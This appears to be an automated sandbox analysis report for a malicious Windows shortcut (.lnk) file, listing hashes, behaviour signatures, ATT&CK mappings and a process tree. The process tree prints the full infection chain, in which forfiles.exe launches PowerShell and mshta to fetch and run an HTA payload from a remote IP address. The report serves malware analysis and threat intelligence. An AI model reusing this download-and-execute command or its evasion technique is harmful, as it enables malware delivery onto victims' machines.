Analysis

  • max time kernel
    138s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-07-2024 02:16

General

  • Target

    85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61.lnk

  • Size

    1KB

  • MD5

    c6d3234e6d234ac35340b68402d65f7d

  • SHA1

    b6af26d59817c43729d48c46b9a4feee284f94eb

  • SHA256

    85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61

  • SHA512

    78794b7a77cd027b8dce320b6d1aaf918600a2d5c350ee676c705700a739fe7e55104ba29475ef6555adce4fec2ba0f13b0c9ca10d9730b7d8cfa44632d460b4

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://149.51.230.198:5566/config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\85b317bb4463a93ecc4d25af872401984d61e9ddcee4c275ea1f1d9875b5fa61.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1836
    • C:\Windows\System32\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p C:\Windows /m write.exe /c "powershell . mshta http://149.51.230.198:5566/config"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        . mshta http://149.51.230.198:5566/config
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" http://149.51.230.198:5566/config
          4⤵
          • Blocklisted process makes network request
          PID:4896
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4416,i,8660989700097327804,17931739887231169645,262144 --variations-seed-version --mojo-platform-channel-handle=3764 /prefetch:8
    1⤵
      PID:2272

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcbij3of.rmg.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4732-0-0x00007FF8D8113000-0x00007FF8D8115000-memory.dmp
      Filesize

      8KB

    • memory/4732-10-0x0000016634B10000-0x0000016634B32000-memory.dmp
      Filesize

      136KB

    • memory/4732-11-0x00007FF8D8110000-0x00007FF8D8BD1000-memory.dmp
      Filesize

      10.8MB

    • memory/4732-12-0x00007FF8D8110000-0x00007FF8D8BD1000-memory.dmp
      Filesize

      10.8MB

    • memory/4732-15-0x00007FF8D8110000-0x00007FF8D8BD1000-memory.dmp
      Filesize

      10.8MB